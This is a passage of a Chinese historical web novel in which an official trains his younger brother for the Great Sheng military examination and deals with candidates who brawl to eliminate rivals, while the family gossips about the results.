而今,陛下将薛荣祥调入兵部为郎中,也是观其行。若是和前任郎中德行无二,那两人的结局自然也一样;不过,仅是没做好,虽不至于丧命,但估计会被贬至偏远之地。薛荣祥好容易才从地方上回来,又怎么可能再回去。
自从封砚初任职兵部主事后,便忙起来了。渐渐的,回去的越来越晚,自然就监管不到三郎封砚池。可眼看着武试科举时日已近,他便将手中的权力交给暮山。
就在三郎以为二哥已经很严厉,没想到暮山有过之而无不及。
这日,天还未亮,甚至可以看见点点繁星,三郎睡得正香之际,暮山就已经出现在他的门口。
‘咚咚咚!’
‘咚咚咚!’
沉睡中的三郎,终于被接连不断的敲门声惊醒了,眯着眼睛问道:“谁啊!”
门外传来一个沉闷的声音,“是我,暮山!”
屋内昏暗,屋外更是漆黑。三郎想不明白,对方此刻出现在门外的原因。只是突然被吵醒,心情十分是不悦,声音中便将这不耐烦带了出来,“这天还没亮呢,你要干什么?”
依旧是那沉闷无波的声音,“起床,练武!”
“暮山,你要不听听自己说的是什么?天还没亮呢?”三郎说完这话再也扛不住,继续闭上眼睛重温梦乡。
第二百零五章 那会儿昏昏沉沉的以为在做梦
暮山向来少语寡言,且认死理,听屋内没了动静,又敲起门来。
‘咚咚咚!’
‘咚咚咚!’
只是这声音再也没能吵醒深眠的三郎,却将住在不远处的封砚婉叫醒了。
她睁开双眼,朝歇在外间榻上的珊瑚道:“珊瑚,你去瞧瞧怎么回事?”
珊瑚其实也被这声音吵醒了,披了衣裳出门一瞧。三郎君屋外竟站着一个人,下死眼看了好一会儿,才发现是暮山。
回屋后便道:“姑娘,是暮山,他正站在三郎君屋外敲门呢,只是没见屋内有动静。”
此刻,封砚婉已经完全清醒过来,坐起身道:“必定是叫三哥起来练武的。我听人说,暮山他们之前在府里训练时,云护卫十分严厉,好像也是这个时候开始练武,若是未达到要求还会受罚。”
说到这里,她已经坐在床沿穿上暖鞋,“我已经清醒了,所幸也起来,正好臊一臊三哥。”
珊瑚一边掌灯,一边说道:“其实三郎君这些时日已经很努力了。”
封砚婉也不要珊瑚服侍,她自己就开始穿戴起来,“你可知我二哥在隆安寺读书是几时起床?”
珊瑚摇头道:“不知,不过奴婢也听说二郎君一向刻苦。”
“隆安寺的晨钟未及卯时便响。我二哥每日都是听着寺里的晨钟起床的,所以,在满天繁星之际,他就起来习武,直至旭日东升,天光大亮之后,这才洗漱,吃完早饭便开始读书。所以,与二哥相比较,三哥做的还不够。”封砚婉说到此处,也不禁在内心感叹。要不怎么说二哥能考中状元呢,就这个刻苦的劲头,许多举子都及不上。
没一会儿,两人都已收拾妥当,出门径直往三郎住处而去。
暮山敲了好一会儿,里头依旧没动静,忽然听见身后传来声音,猛地拔刀转身。见是二姑娘,这才收刀拱手行礼,硬生生道:“二姑娘。”丝毫没有因为将对方吵醒,而致歉。
封砚婉对此也不在意,她看向紧闭的门,直接问道:“还没起呢?”
“是。”暮山的声音依旧平静,只是他想不明白,三郎君为何如此懒怠。
得到答案的封砚婉冷哼一声,她才不管这些,且有心臊一臊对方,便道:“既然他不想起,那你先教我吧!”
“是。”暮山果然不再继续敲门,转身去了习武的空地。
双寿住在下人房,他每日起得比封砚池稍早一些。
这日,当他起床后照旧往郎君的住处而去,在经过习武的空地时,发现了一个震惊的事情,暮山正在教二姑娘和珊瑚练武。是的,只有他们三人,三郎君并不见人影,他吓得赶紧朝郎君的住处跑去。
“郎君!郎君!快开门!”
已经睡了好一会儿的三郎,听见双寿的叫门声后,也渐渐清醒过来,随即起身开门,“双寿,我怎么好像记得暮山曾经敲门,叫我起来练武?”
双寿听后赶紧道:“郎君,我方才经过习武的空地时,瞧见暮山正在教二姑娘练武呢!”
三郎一拍脑袋,懊恼道:“哎呀,暮山果真来叫过我?只是那会儿正昏昏沉沉的,以为是做梦。”说罢,赶紧收拾起来。
天色渐亮,封砚初也已经起身,洗漱过后提着剑离开了屋子。当他到达空地,并未瞧见三郎,也不管对方。
三郎匆匆赶到后,赫然瞧见二哥竟已开始练剑,顿时心生不安,也立即练起来。就在他以为会被二哥骂一顿之时,没想到对方练完剑,只朝二妹和暮山说了两句话,随后看都没看他一眼,径直离开。
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这让他更加慌张,心中不停地猜测着,难道二哥因为自己晚起生气了?还是说觉得他不如二妹勤快?亦或是对自己失望了?一旦心存他念,动作上便有些疏忽。
直至一个声音响起,“二郎君,错了!重新练!”
封砚池这才反应过来,“哦,哦。暮山,之前你喊我时,我睡迷糊了,以为是在做梦,下次不会了。”其实他也不知道为何要对暮山解释这些,但就是这么说了。
这让原本还想要臊一臊对方的封砚婉,一时之间竟不好意思下手了,甚至还出言安慰道:“三哥,我知道你每日习武太过疲惫,只是眼见武试科举将至,二哥有自己的事情要忙,所以你也要更勤谨些才好。”
“我知道了。”三郎罕见的没有反驳。
封砚婉没忍住继续道:“我姨娘听王姨娘说起过,二哥之前住在隆安寺,每日不到卯时就已起来习武读书,你的时间更紧迫,自当更刻苦才是。”
“我……知道了。”这次,三郎的声音更低沉了,他看向暮山问道:“暮山,二哥很刻苦吗?”
暮山的思绪拉回以前的情景,点了点头,难得说了很多话,“嗯,无论是在侯府的外书房,还是在隆安寺,亦或是在这里,郎君一直以来都很刻苦,而且郎君不仅要读书,每日还要抽出时间练武,看医书。”
他说到这里看向封砚池,认真道:“你比不上。”
封砚婉见三哥被打击的不轻,感觉他身上散发着颓废之气,立即安抚道:“三哥,勤能补拙,距离武试科举还有好几个月,你要更刻苦一些,无论结果如何,起码你回想起现在,不会觉得是因为自己未曾努力。”
“二妹妹,谢谢你。”三郎被这番话打动,重新鼓起心劲,练的愈发认真。
第二百零六章 吉大人疯了
大晟的武试远没有文试复杂。这些赴京参加武试科举之人,会在地方上有个初筛,通过初筛得到凭证后才可以来京城。
而封砚池之所以不用参加初筛,那是因为他出生在武安侯府。朝廷对勋贵官宦出身的子弟有优待,否则以他的训练时长估计有点悬。
话说封砚初这些日子很忙,这日恰逢休沐,便带着三郎与二妹去了城外庄子上。
他骑在马上,一手持弓,一手勒着缰绳,讲解道:“大晟武试科考,分为内外两场。外场测试武力,包括马射,步射,开硬弓,举石,还有武艺。内场需默写兵书段落,撰写策论。”又看向不远处的靶子,“步射,咱们都是自幼练习,只是这马射练的少了些。”
随后看向三郎,“你步射的水平考试够用;但马射却只是勉强,需得加强锻炼,你且先看我射一遍。”说罢,他骑马冲了出去,同时搭弓拉弦射箭,箭矢瞬间正中靶心。
三郎在整个过程中,嘴巴张的大大的,直到封砚初说道:“还不赶紧练习!”
“哦。”三郎赶紧应声,骑马练习,可他十箭里头能有三箭上靶。甚至和二妹相比都有些差距,这瞬间激发了他好胜的心,一次次的失败,一次次的琢磨,一次次的纠正。
封砚初见对方已经练的上头,便吩咐暮山在此处看着,他则出了庄子,骑马往五味楼而去。
京西武备营的驻地在城外,今日他休沐外出,便与陈泽文约在了‘五味楼’。
封砚初最先到,他才进门小二就认出来了,热情的上前招呼,“小的给大人请安,还是二楼靠窗的位置?”
他点了点头,“老地方。”之后随着小二上楼。
比起城内的那些酒肆,‘五味楼’的布置远远及不上,不过好在饭菜尚可,后院还有客栈,所以有不少人驻足于此。
刚坐下,点了几道菜,陈泽文就来了,他身上甚至还穿着甲胄。
封砚初一边将人请进来,一边道:“你怎么穿着这个就来了?”
陈泽文将身上的甲胄卸下来,靠在座位上,先是长舒一口气,然后才说,“吉大人疯了,自从年后就加重了训练。我今日之所以能出来,还是因为现在各地参加武试科考之人,已经陆陆续续进京了。这些人身上都有功夫,朝廷担心他们生事,便派人时不时的巡逻。城内有巡城卫和六扇门的人,我们管不着;但是城外是京西武备营负责,我趁这个机会出来的。”
封砚初瞧对方实在辛苦,又听对方是在巡逻期间溜号,端起酒壶的手便放下了,重新给对方添上一杯茶,“我说呢,你怎么好端端的约在了城外,难道你们没休沐吗?”
一听这话,陈泽文就有些沮丧,冷哼道:“还休沐?我已经连轴转了将近一个月了!一开始整日训练,现在不仅要训练,还得出来巡逻。”他见封砚初手中的酒壶换成了茶,连忙叫着,“唉唉唉,怎么换成茶了?”
“你正在巡逻,趁机来五味楼,还能说成是吃饭,若是饮酒那可是犯错,执行任务期间不得饮酒。”封砚初干脆与对方讲了讲规章制度。
陈泽文倒也没计较,端起茶杯喝起来,“对了,你三弟现在练的如何?虽说你家是勋贵不用参加初筛,但还是得有些真本事才能行。”
一提起这里,封砚初难免有些担心,“内场的笔试应该没问题,只是这马射还稍弱,更别说外场最后一项还有武艺比试,他虽然进步不小,可这次参加武试的人实力很强。”
“大晟多年未开武考,想参加的人自然就多了些。我甚至瞧见许多武学世家的人也来了,可惜你家里祖上虽然是武将,可除了你自小习武之外,
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其余人都没练过。真想不通,你父亲宁可给你们配护卫,也不让你们习武。”在陈泽文心里,走官场并非只有文试科考一条路。
封砚初摇头轻叹,“我家与别人不同,当初是太宗皇帝亲口下令,让武安侯府弃武从文,若是连文试一路都断了,我家即使有武安侯的爵位,只怕也在京城待不下去,好在如今陛下松口。”
就在两人正在说话之际,窗外一群人似乎起了冲突。
他的视线正好可以看到外面,“我怎么瞧着打起了,你快下去看看!”
陈泽文只得重新穿上甲胄,拿起刀下楼去瞧,他自然也跟着一起往下走。
没想到迎面碰上五味楼的掌柜,对方哭丧着一张脸,见到他们两个立即拱手请求,“小老儿给两位大人见礼,还请两位大人去劝一劝,那些人堵在小店门前起了纠葛,这都打起来了!”
“可知是为了何事?”陈泽文心情很差,他好容易趁着巡查的空档吃个饭,竟然发生这样的事情扰人雅兴。
这一发问,瞬间引起这掌柜满腹的牢骚,嘴里抱怨道:“不过是因着一坛子梨花酿。这几日往来之人众多,小店的梨花酿卖的只剩一坛,双方都想要。可送酒的人明日才能来,小老儿便提议换成旁的,可这些人偏不,非这梨花酿不可,这一时之间,小老儿上哪里去找多余的去。”
“想来双方早有纠葛,不过是借酒生事罢了。”封砚初听后分析着。
陈泽文十分认同,“八成就是。”说着急匆匆出了五味楼。
封砚初刚出门,就看到双方都打的火热,而且武功都不弱。
陈泽文见状大喊,“都住手!”可这些人充耳不闻,继续打斗。
气的他又道:“京西武备营校尉在此,谁还敢动手!”话说完,这两拨人才停手回头去瞧。
第二百零七章 这件事陛下早就有想法
这些人明显分为两派,其中为首的是一个身材壮硕,目光中泛着寒光,年岁约莫二十五六的男人;另一帮人领头的是一个年岁相仿,个子稍矮些的男人。
这双方打量过陈泽文与封砚初后。又见陈泽文穿着甲胄,明显是近日在城外巡逻之人,赶紧行礼:“见过大人。”
陈泽文心情很差,语气也不好,“说!你们为何在此打斗!休要拿为了一坛梨花酿的借口打发我!”这话一开口,瞬间让双方噤声。
其中那个稍矮些的男人拱手道:“大人,小的是沧州梁世荣,因为前几日与此人起了冲突。恰巧今日撞见,又因着梨花酿的事情发生口角,这才在此较量,小的知错。”
另一个高壮的男人,明显不想引起陈泽文的过多关注,附和道:“大人,小的李明川,我与此人本就有些口角,今日恰好遇上,双方这才互不相让。”
陈泽文见两人都不欲说出实情,他也不想深管,“哼,真也好,假也罢,若是再生是非,那就从哪来滚回哪里去!”
双方听了这话,敢怒不敢言立即应了。他们很清楚,此次进京虽说不一定能考中,但使他们失去科考资格,眼前之人还是能做到的。随后,进去付了钱,迅速离开。
陈泽文见双方离开,这才上了二楼。又重新卸下甲胄,瘫在位子上,吐槽道:“二郎,你这下明白了吧,就是这种鸡毛蒜皮的小事,经常会发生,但凡轮到我出来巡视,十次能碰上五六次。”
封砚初眉头微蹙,“城内倒还好些,怎么城外这么频繁吗?”
陈泽文叹道:“可不是,二郎,竞争已经开始了。你别看那么多人打架,实则正在应考之人只有为首那两人,其余的不过是叫来的帮手罢了,这些人在城内不敢惹事,但城外就不一样了,会挑一些觉得实力强的,然后在暗中下手。”
“倒也不狠,**后还赔付对方钱财,毕竟伤筋动骨一百天。”话未说完,门外响起一阵敲门声,他这才起身坐好。
门开后,原来是掌柜带着小二要进来上菜。一直等到小二上完菜,掌柜脸上挂着笑说道:“多谢大人解围,这顿饭就当是小老儿的谢礼。”
陈泽文挥手道:“无妨,小事罢了。”
他等掌柜的出去,又道:“这也是我为何要问你家三郎练的如何?今年不仅人多,且竞争很大。”
说到这里摸着下巴,思索着,“实在不行,干脆试一试京西武备营,你也知道年前革了很多人。我听说,今年五月份,京西武备营还有一场考核,要是这次没通过武试科举,干脆来试试。”
封砚初拿起筷子的又重新放下,“我是为他尽力了,若实在不成那也没办法。他本来就是个跳脱的性子,如今能自己主动去学,比起以前已经好太多了,只能尽人事听天命。”
陈泽文听了这话,连吃饭的动作都停下来了,略微凑近道:“你也别沮丧,我听我母亲说,陛下虽然撤了攻防营,但打算再重建一支,所以好好准备还是有机会的。”
随后又道:“这件事陛下早就有想法,还是邢勉邢大人刚从边关回来没多久,就应陛下的要求,写了具体的章程递上去了,所以说啊,陛下想裁撤攻防营不是一天两天了。”
封砚初果然感兴趣,问道:“那你可知道是什么时候开始?”
陈泽文夹起菜一边吃,一边回应,“应该快了吧,反正不是今年就是明年。对了,听说你二妹妹也跟着一起习武,是想入六扇门吗?”
二妹既然跟着一起习武,封砚初自然不想对方辜负了这番辛苦,可想到如今的六扇门,摇头道:“目前没有这个打算,再说现在的六扇门……还是算了吧,没得搅和进去。”
“也对,还是等等再说。”陈泽文点点头,觉得封砚初思虑的很对。如今皇后的人掌握了六扇门一半的权柄,争斗只怕更厉害,还不如先观望观望。因为还有巡查的差事,两人用过饭之后便散了。
封砚初离开五味楼,并未着急回庄子。而是
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牵着马慢慢走着,谁知回去的路上,又碰到那帮人,感情是换了个地方打。
见此一幕,上前呵斥道:“住手!你们这是在做什么?”没想到这其中一个叫李明川发现他后,也只瞧了两眼,继续打斗。
另一人则赶紧呼救,“快救救我。”原来此人不过是雇了一些人保护自己,现下那些人才离开,他就被堵了个正着。
因为今日休沐出城,所以他身上并未穿官服。这些人也只当是寻常路人,并未将他放在心上,这让封砚初不由恼怒,随即捡起两颗小石子,猛地弹出,射向李明川。
此刻,这李明川才停了手,神情严肃的看向他,知道碰见了高手。
这人见状上前拱手道:“这位郎君,这是我二人之间的私事,不与你相干,还是快快离去!”
封砚初冷哼一声,掏出证明身份的腰牌道:“你们说这与我相不相干!”
另一个叫梁世荣的凑近一看,腰牌上面赫然写着几个字:“兵部武库清吏司主事,封砚初”!吓得连忙拱手行礼,“沧州梁世荣拜见大人!”
其余人见眼前之人拿出腰牌时,便已经察觉不对劲。可万万没想到,对方竟然是兵部的主事大人,还是负责武试科考的武库清吏司。
众人皆吓得连忙行礼,“大人恕罪,小的知错了!”
封砚初明白这种事情并非个例,若单单斥责不过是治标不治本,何况打架斗殴属于民不举官不纠。
只要没出人命、没使人重伤,或者没有让伤者终身落下伤残,官府很少管,往往只是私底下赔上钱财即可。
即使经告发,官府拿人后,也是根据伤者情况惩处。以手足殴人致伤者笞二十至四十,以他物殴人致伤者笞五十;若骨折,或发生血从耳目中流出等严重伤情,杖八十,并赔付伤者钱财。
不过这具体打多重,只需给衙役一些好处即可,这也就导致屡禁不止。
最后,也只能登记了几人的名字籍贯,警告一番,放人离去。
第二百零八章 一个人最重要的是品行
次日,封砚初就将城外发生的事禀报给薛荣祥薛郎中。
谁知对方眼皮都没抬一下,直接道:“不过是城外的小打小闹罢了。既然能被人打败,暗算,那就说明不够强,若来日上了战场,只会比那还残酷。”
见对方并未重视,便行礼告辞,“是,下官明白。”而他既然发现此事,自当上禀,若来日有何差池也与他无关。
只是对于这话,他竟然觉得很有道理,但以此方式暗算旁人,也是心思不正。又想到三郎心思单纯,不禁有些犹豫,不知给他安排的这条路对或不对。
不过,薛郎中有一点是对的,无论是官场还是战场都分外残酷,若是想求一个安逸,那就永远踏别进来。
就在他以为此事就这么过去了,没想到朝廷新发律令,再有参加武试科考之人打架斗殴,不论谁是谁非,一律免除资格,之后果然太平了许多。
原来城外屡屡生事,陈泽文被烦的不轻,也向吉大人禀报过。可对于吉大人而言,他只需要管好京西武备营的事情即可,并不想节外生枝。
最后还是休沐日回家,平昭公主因着好长时间未见到儿子,便责怪对方自从领了武职,就只想着差事,不知回家了。
陈泽文本就心里有怨,见母亲这么说,就顺嘴将城外应试之人经常打架斗殴的事说了,而他身为校尉自然不得空闲回家。
说者无心,听者有意。平昭公主转头进宫就将此事禀报给陛下,还说毕竟是朝廷举办的武试科考,这些人以如此低劣的手段排除对手,实在品行堪忧。更何况,事关朝廷颜面,必须做出惩治。
景和帝听后,觉得十分有理,当即给京兆府下令。只是心中更恼怒此事竟无一人处理,随即将邢勉和吉隆两人叫进来谈了谈心。
结果就是,邢勉回到兵部,叫来了兵部侍郎安槐序。
“安侍郎,老夫年事已高,身上不止担着兵部尚书的职位,巡城卫还有一摊子事情要处理。你是兵部侍郎,且在兵部的时间比我长,更应该多帮些忙。怎么连城外那些应试之人,恶意打伤竞争者的事情都不知道?这并非一次,而是多次!他们将武试科举当做什么?将朝廷当做什么了?”
安槐序只能拱手道:“下官近日事多,还未接到武库司禀报,这就下去查。”
邢勉被叫进宫里,陛下虽然没骂他,但也是被说的老脸涨红。现下见安侍郎态度还是诚恳,这才点头道:“嗯,我知道兵部事多,有不少都压在你肩上,但咱们既然是朝廷命官,自然要为朝廷解忧。”
“是,下官明白。”
本来就够忙的安槐序听了这一肚子的话,立即将武库司的薛郎中,孙员外郎,以及封砚初和另一个王主事一起叫去。
当封砚初进门后,难得看见安侍郎端着茶杯,看似悠闲的品茗。
其实是安槐序方才在邢勉那里听了好长时间的训导,对方更是连盏茶都没倒,他一口水没喝。
所以,此刻正碰着茶,“听说城外有应试之人**,打架斗殴,以此排除对手!你们可知道?”
四人相互看了一眼,齐声道:“下官知道。”
眼见杯中茶水已尽,安槐序猛地将茶盏扔在桌上,注视着几人,语气也变得严厉,斥责道:“既然知道,为何不禀报上来?你们可知,这件事已经闹到陛下跟前了!”
封砚初心中的疑惑解开了,
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他就说么,怎么好端端的下了这个命令。
此刻,薛郎中只得上前半步,道:“前些日子,封主事确实将城外发生之事禀报给了下官,但当时下官觉得不过是一件小事。毕竟此次武举是为了充实武职,来日有可能要上战场,如果连这点小暗算都躲不过去,而战场上的敌人只会更凶残,他们又如何躲得过去?”
安槐序听了这番话,原本严厉的语气也变得温和许多,“你所虑虽有一定的道理,可此事关系朝廷的法度和体面。试问一个为了赢如此下作之人,即使考上,那将来与袍泽面对敌人之时,又有谁敢将后背交给他?”
薛郎中听后立即拱手道:“是下官思虑不周。”
“嗯,既然上面的人已经做出处理办法,那便将参与斗殴者的名录记下,一律罢免此次科考的资格,也正好给其他人一个警告。”此刻,安槐序虽然嘴上说着话,实则已经在心中打好了要上奏的内容。他最厌恶这种歪门邪道的行径,尤其那为了名额不择手段之人,于是,很干脆利落的给了答案。
几人出了屋子,孙茂最先开口,“武艺再高也是无用,一个人最重要的是品行。”
薛荣祥瞥了一眼孙员外郎,知道对方这是意有所指,故意说给自己听,只是到底碍于其兄孙知微,冷哼了一声,朝王主事道:“既然安大人如此说,那就辛苦你走一趟京西武备营,问他们要一下人员名录。”
王主事自然看出两人之间的不对付,听见这话又返回安侍郎那里,拿了公移文书出了兵部大门,朝城外的京西武备营而去。
封砚初手上还有事情要忙,更何况这两人如何与他无关,便行礼告退。
第二百零九章 此项是为了拒绝
光阴似箭,日月如梭,转眼便到了武试之日。
今日是武试的外场考核,所以负责主考的是兵部尚书邢勉,副主考是京西武备营的吉隆、兵部侍郎安槐序。监射官:郎中薛荣祥、员外郎孙茂、主事封砚初,巡查御史和几名礼部的大人等。原本应该还有巡城卫指挥,可是此职位由邢勉兼任。
而外场的考场设在了已经裁撤的攻防营的演武场,别看之前的攻防营是草包,但地方委实修得不错,所以干脆借用。
并从京西武备营借调了一些人负责维持秩序,引导考生,并监督考生不得随意交谈走动。
武试也需检查,不过相比文试而言宽松了许多,毕竟这个即使想抄写也没法抄,打铁得需自身硬,所以仅验明正身无人**即可。
上面的几位大人早早的就进了场,几名礼部大人被安排在门口检查,他们主要是检查考生的担保书、相貌册、以及照验,核对无误之后分发编号。
若文试有封砚池参考的话,封砚初根本不可能担任监射官,以防**;奈何这是武考,没有那么严,而且是否通过全看个人能力。
最先比试的是马射。封砚初早已经坐在了靶场右侧临时搭建的监射厅,这里视野极好,不仅能看清考生的动作,也能看清靶面。
旁边有负责挥动信号旗的掌旗官,负责鸣鼓配合的鼓手,书面记录的记注官,还有负责维持现场的巡查兵丁。
三郎封砚池早已经接受检查,领了编号进来,而且第一场就面临的是马射。虽然还在等待,但他心中依旧有些紧张,直到他看见二哥已经坐在另一侧的高台上,仿佛回到了二哥监督自己习武的时候,不由得全神贯注。
马射是要在骑马奔跑的过程中射三箭,达到三中一即可。可千万别小看这一项,能刷下去不少人。
先不说难度,最起码那种家中无马的考生,便会因日常很少练习而难以达标。
第二项是步射,立定射五箭,需要五中三。
第三项是技勇,主要是开硬弓和举石;开硬弓分了不同的等级,有‘八力’,‘十力’,‘十二力’;举石也是分了好几级,‘二百斤’,‘二百五十斤’,‘三百斤’。
第四项是武艺,无论你使用什么武器,都需完成规定动作,且达标才能通过。
而内场的文试,只有这四项全部通过才有资格参加,否则也是白费。
马射考试已经开始,所有人都已经按照编码顺序站好等候叫名,听到自己名字之时,立即上马入场考试。
封砚初此刻才明白,在现代之时,那些监考老师看见学生考卷的无奈。这些对他而言,别说达标,就是上马三射都得中,且正中靶心,那也很简单。
而有些人明显能看出他身上有着不俗的武艺,可就因马上射术不行,只能遗憾离场。
当他看到三郎上场的那一刻,说实话,还是很担心的。好在没让他失望,虽说并非考的最优秀,但起码也达到了三射中二,而且准头还挺好。这成绩比之前庄子上的十射中三强出不少,可见是下了苦功的。
第一日,仅马射一项就直接砍了一大半人,好在其他几项,只需平日努力勤练习,还是可以达到要求的。
外场考试整整持续了四日才结束,三郎的成绩只能说处在中间的位置,不过好在通过了武试的外场考试。而内场的文试则在五日之后举行。
此次武试外场考试,其实陈泽文也来了,他负责的是场中巡逻。
直至这四日考完结束,他才有了空闲,两人与沈在云约在了月上客酒肆。
话说封砚初之前一直以为自己的武功很弱,直到除夕至今,这才察觉原来
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自己还可以。
又想到了这几日参加武试的那些人,不禁叹道:“马射其实还算容易学,只是我发现很多人因为家中买不起马而疏于练习,致使第一项就没能通过。”
陈泽文一边听着楼下的吟唱,一边吐槽道:“朝廷之所以设置这一项就是为了淘汰,否则那么多人通过可怎么办?”
封砚初听后道:“我自然知道此项是为了拒绝,只是有些可惜罢了。”
沈在云听后疑惑道:“这有何可惜的?”
“我发现有些人实力不错,只是不善马射,若是勤加练习,将来未必不会是一员猛将。”其实封现场没说的是,仅马射一项,就将那些因家境普通,而买不起马的人拒之门外了。
听话听音,在坐之人何尝听不出,陈泽文细细思量一番道:“今年确实是一个机会,五月份的京西武备营考核没有武考严苛,只要有些实力即可。”
沈在云听后先沉默不语,像是已经有了别的打算,过了一小会儿才笑着说:“此时说这些还太早,再怎么着,起码也得等武考内场的文试结束,大榜出来后再说。”
陈泽文笑嘻嘻道:“也是。”紧接着饮了一口酒,“这歌喉当真好听,若这琵琶再弹的好些就更好了。”
封砚初却不这么认为,“如此就很好了,都太好也容易招惹祸事。”
“怎么?难道有人欺负她了?”其实在陈泽文心里,此女长相仅是清秀而已,唯一的长处就是有一副好嗓子。
“之前使臣进京**,差点将此女掳走。就是因为她唱的好听,又会弹琵琶,她一个贫家女如何抵得过。所幸鸿胪寺的朱大人及时赶到,否则你是听不到了。”时至今日,封砚初才碰巧将这件事说了。
无论是陈泽文,还是沈在云,俩人听后都是眉头紧皱,明显不悦。
第二百一十章 三郎的嘴就是个漏勺
武安侯府。
虽说封简宁对三子一向是横眉冷对,但在他心里始终觉得对方习武时间太短,铁定考不上。可意外的是武试外场的考试居然过了,这着实令人意外,其实不仅封简宁,府里其余人也是一样。
考完之后的封砚池便直接回去了,没想到恰巧碰见正要进门的父亲,对方竟表现出一副慈眉善目的样子,居然十分温和地说了几句话。
“三郎,你这次外场武试固然已经通过,但名次委实寻常,你练武时日太短,以后切记不可自满,仍需刻苦练习。”
这让三郎受到了惊吓,立即拱手道:“父亲,儿子知错,以后必定刻苦练习。”说罢连忙告辞,逃也似的离开了。
这让还想同三子再说两句的封简宁眉心微皱,不禁升起疑心。瞧老三这着急忙慌的样子,难道干了什么坏事瞒着自己?思及此处,看向一旁的方恩道:“老三莫不是做了什么亏心事?否则怎会这般急着离开!”
方恩摇头道:“这……小的不知,三郎君这些时日一直住在‘枕松闲居’,要是真有事二郎君肯定会知道的。”
“二郎这么忙,老三若有心隐瞒,他又怎会晓得?”封简宁越这么说,心中越发觉得就是。
“难道三郎君真干了什么事?”方恩本来还觉得是侯爷素日对三郎君太过严厉,这才有些害怕。可是听了这话也不禁怀疑起来,难道真干了什么错事?
封砚池好容易摆脱了父亲,拍了拍胸口,松了一口气。随即思前想后地将自己最近干的坏事想了一遍,疑心是二哥告了他一状,然后立即否认。若二哥看他哪里不顺眼,根本不用告诉父亲,直接就上手打了。
最后又疑心二妹封砚婉。难道对方将自己不如二哥刻苦的事情说了?记得两人一起练武时,对方就说过,这眼见着武试之期已近,竟还不如二哥在隆安寺之时刻苦。如此想着,心里愈发觉得肯定。
这让本来都卸了劲的三郎,皮立即紧了起来,乖乖的去给老太太和大娘子请安,还想着等请完安赶紧去看书。
张姨娘听到这个好消息之后,顿时觉得日子有盼头了,拿了件做好的夏衣去了王锦娘之处。
而王锦娘正在临字,见张姨娘来了,疑惑道:“你这会子不与三郎好好叙一叙母子情,怎么来我这里了?”
张姨娘这么多年盯着三郎读书,已经看够了,所以对这些字啊的不感兴趣,便没有凑上去瞧。她将带来的夏衣放在桌案上,顺势坐到一旁,说道:“我本来还想告诉你这个好消息,没想到你竟知道了。”
王锦娘此刻已经净了手,涂着杏仁膏,笑道:“方才珠儿去厨房取东西,遇见了大娘子身边的秋词,说三郎武试外场已经过了,在老太太那里请安呢。”
张姨娘一听这话就乐的咯咯笑,“这还多亏了二郎,否则三郎这辈子也就那样了,我倒是想谢一谢二郎,只是那是他们兄弟之间的事。这不,我特意给你带了件夏衣,你瞧瞧可喜欢?”
王锦娘原以为是一件普通的衣裳,直到上前将包袱打开一瞧,竟是一件豆青色的雨丝锦襦裙。见状连忙推了回去,“这么好的料子,你自己留着,我万万要不得。你也说了,那是他们兄弟之间的事情。”
张姨娘连忙拉着对方的手道:“说实话,三郎一贯不喜读书,又不知上进,要不是二郎这个做哥哥的帮扶,哪有今日?这府里,谁又管他,不过是让他别惹事就好。”
“我也没什么好东西,也就这个还能瞧上眼。二郎那里但凡有什么事,老太太、侯爷和大娘子他们自是第一个瞧见,何况也不缺。
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你是他姨娘,我自然要来谢你。”
王锦娘拗不过,最终收下。
就在两人说话之际,方姨娘来了。进门瞧见这个情况,故意叹道:“可是我来的不是时候?”
王锦娘赶紧将人迎进来,“你们俩像是说好似的,一起来了。”
方姨娘当然瞧见了桌上的衣裳,“方才婉儿回来,她扰了二郎这么久,手又拙,连根针都拿不起来,我还特意将自己做的荷包,扇袋等一些小物件给她拿去,又嘱咐她送给二郎,可眼下一比,我的竟有些拿不出手了。”
见对方说到这个,张姨娘想起前段时间三郎因应考在家住着,说起二姑娘习武的事情,便问道:“前儿,我听三郎说二姑娘现如今也跟着二郎一起习武?”
方姨娘一听这个面露惊色,声音都高了几分,“什么?习武!”
“你不知道啊?”张姨娘这才发觉自己说多了,讪讪道:“是我多嘴了。”同时心里暗骂儿子的嘴就是个漏勺。
“这孩子,嘴可真严,回来是一句也没漏!”方姨娘才说完这话,又想起年前她拜托大姑娘去广林巷送衣裳,看了大姑娘也知道,可硬是没说。
王锦娘也想起这一茬,但毕竟是自己的儿子教导,连忙道:“你说这几个孩子也真是的,竟然瞒了这么久。”说到这里话题一转,“也是他们兄弟姊妹感情好,二姑娘自幼活泼好动,喜欢射箭,再则孩子也大了,知道分寸。”
张姨娘也附和着,“这些年你押着她学刺绣,可终究还是没成,就像三郎一样,就是不爱读书。她也是担心说出来之后,你不喜欢。”
有了众人相劝,方姨娘心中想着四郎是废了,但她将来还要靠女儿,也只能叹道:“我也是担心她在外头见得一多,心就野了。罢了,随她去吧!”
第二百一十一章 你不必妄自菲薄
因为饮了不少的酒,封砚初与陈泽文、沈在云出了月上客之时,已是微醺。
此时,天际的余晖消散,行人匆匆,城门口成了最忙的地方,人们尽力赶在最后的时刻或进城,或出城。
“郎君,是回‘枕松闲居’吗?”郑伟问道。
封砚初想了想,摆手否决:“内场文试并不难,三郎外场武试已经通过。想来家里正热闹着,回侯府吧。”
“是,郎君。”
“对了,我准备的**和剑,还得几日才能打好?”
“暮山已经去瞧过了,说是明日就好。”
一主一仆,就这样一问一答地回了武安侯府。
进了门,果然热闹,大家都在老太太这里说话。
“我就说二郎肯定回来,根本不用去广林巷找。”说这话的是老太太,她一看到孙子便朝众人道。
“孙儿给祖母请安;问父亲,母亲安;问二叔,婶娘安;姐姐,大哥。”封砚初朝众人一一行了礼。
老太太笑道:“你来的可巧,我们正说三郎武试外场得中,大家热热闹闹的吃一顿饭。”
二叔也是一番感慨,“三郎那般不爱读书,谁能想到还有今日呢?”
封简宁一直有心问一问三子,只是过几天还有内场文试,为了不影响对方,他只能暂且忍耐。不过看到次子,心情还是很不错的,但父亲的架子还是要摆一摆的,“你这是饮酒了?”
“嗯,与陈泽文和肃王世子在月上客小聚,便饮了一些。”封砚初并未隐瞒,坐下后直接说了。
大娘子见状立即吩咐下人,“给厨房说一声,一会儿上一碗解酒汤来。”随后又对封砚初嘱咐着,“一会儿即使不吃饭,也要将汤喝了,晚上也能睡得舒服些,你明日还要上职点卯呢。”
封砚初并未刻意起来致谢,那样显得太过客气疏离,所以只是点头应了,“知道了,母亲。”没一会儿,下人便将饭菜提上来,他也陪着吃了几口。
饭桌上,三郎一直记挂着二妹告状的事情,所以,即使在吃饭时,都会看对方两眼。
